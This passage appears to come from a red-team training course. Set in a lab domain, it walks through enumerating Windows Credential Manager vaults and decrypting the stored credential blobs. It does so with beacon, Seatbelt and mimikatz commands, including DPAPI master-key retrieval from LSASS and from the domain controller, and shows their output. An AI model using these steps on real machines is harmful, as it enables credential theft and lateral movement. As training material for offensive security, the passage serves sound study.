The way the Windows Credential Manager works is a bit confusing at first - if you read up on the subject, you'll find both the terms "Vaults" and "Credentials". A "vault" essentially holds records of encrypted credentials and a reference to the encrypted blobs. Windows has two vaults: Web Credentials (for storing browser credentials) and Windows Credentials (for storing credentials saved by mstsc, etc). A "credential" is the actual encrypted credential blob.
To enumerate a user's vaults, you can use the native vaultcmd tool.
beacon> run vaultcmd /list
Currently loaded vaults:
Vault: Web Credentials
Vault Guid:4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Vault: Windows Credentials
Vault Guid:77BC582B-F0A6-4E15-4E80-61736B6F3B29
Location: C:\Users\bfarmer\AppData\Local\Microsoft\Vault
beacon> run vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/sql-2.dev.cyberbotic.io
Identity: SQL-2\Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)
\
Another is to use Seatbelt with the -group=user parameter, or more specifically, the WindowsVault parameter.
Based on this, we now know that the user has saved credentials for the local administrator account on SQL-2. The encrypted credentials themselves are stored in the users' "Credentials" directory.
beacon> ls C:\Users\bfarmer\AppData\Local\Microsoft\Credentials
[*] Listing: C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\
Size Type Last Modified Name
---- ---- ------------- ----
468b fil 09/06/2022 10:34:22 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
10kb fil 08/30/2022 08:42:59 DFBE70A7E5CC19A398EBF1B96859CE5D
\
Seatbelt can also enumerate them using the WindowsCredentialFiles parameter.
beacon> execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe WindowsCredentialFiles
====== WindowsCredentialFiles ======
Folder : C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\
FileName : 6C33AC85D0C4DCEAB186B3B2E5B1AC7C
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 468
FileName : DFBE70A7E5CC19A398EBF1B96859CE5D
Description : Local Credential Data
MasterKey : bfc5090d-22fe-4058-8953-47f6882f549e
Accessed : 9/6/2022 10:50:44 AM
Modified : 9/6/2022 10:50:44 AM
Size : 11036
As far as I'm aware, there is no way to know which credential blob belong to which vault; and by extension, if a vault has multiple entries, which credential blob corresponds to which. This just ends with us having to decrypt each one in turn.
\
Seatbelt also provides the GUID of the master key used to encrypt the credentials. The master keys are stored in the users' roaming "Protect" directory. But guess what... they're also encrypted.
beacon> ls C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104
[*] Listing: C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\
Size Type Last Modified Name
---- ---- ------------- ----
740b fil 08/15/2022 17:34:31 bfc5090d-22fe-4058-8953-47f6882f549e
928b fil 08/15/2022 17:34:31 BK-DEV
24b fil 08/15/2022 17:34:31 Preferred
\
So we must decrypt the master key first to obtain the actual AES128/256 encryption key, and then use that key to decrypt the credential blob. There are two ways of doing this.
The first is only possible if you have local admin access on the machine and if the key is cached in LSASS. It will not be in the cache if the user has not recently accessed/decrypted the credential.
beacon> mimikatz !sekurlsa::dpapi
Authentication Id : 0 ; 1075454 (00000000:001068fe)
Session : RemoteInteractive from 2
User Name : bfarmer
Domain : DEV
Logon Server : DC-2
Logon Time : 9/6/2022 9:09:54 AM
SID : S-1-5-21-569305411-121244042-2357301523-1104
[00000000]
* GUID : {bfc5090d-22fe-4058-8953-47f6882f549e}
* Time : 9/6/2022 11:27:44 AM
* MasterKey : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
* sha1(key) : 897f7bf129e6a898ff4e20e9789009d5385be1f3
\
We can see that the GUID matches what we are looking for, so the key 8d1539[...]19c214 is the one we need.
Another way to obtain the master key (which does not require elevation or interaction with LSASS), is to request it from the domain controller via the Microsoft BackupKey Remote Protocol (MS-BKRP). This is designed as a failsafe in case a user changes or forgets their password, and to support various smart card functionality.
beacon> mimikatz dpapi::masterkey /in:C:\Users\bfarmer\AppData\Roaming\Microsoft\Protect\S-1-5-21-569305411-121244042-2357301523-1104\bfc5090d-22fe-4058-8953-47f6882f549e /rpc
[domainkey] with RPC
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
key : 8d15395a4bd40a61d5eb6e526c552f598a398d530ecc2f5387e07605eeab6e3b4ab440d85fc8c4368e0a7ee130761dc407a2c4d58fcd3bd3881fa4371f19c214
sha1: 897f7bf129e6a898ff4e20e9789009d5385be1f3
This will only work if executed in the context of the user who owns the key. If your Beacon is running as another user or SYSTEM, you must impersonate the target user somehow first, then execute the command using the @ modifier.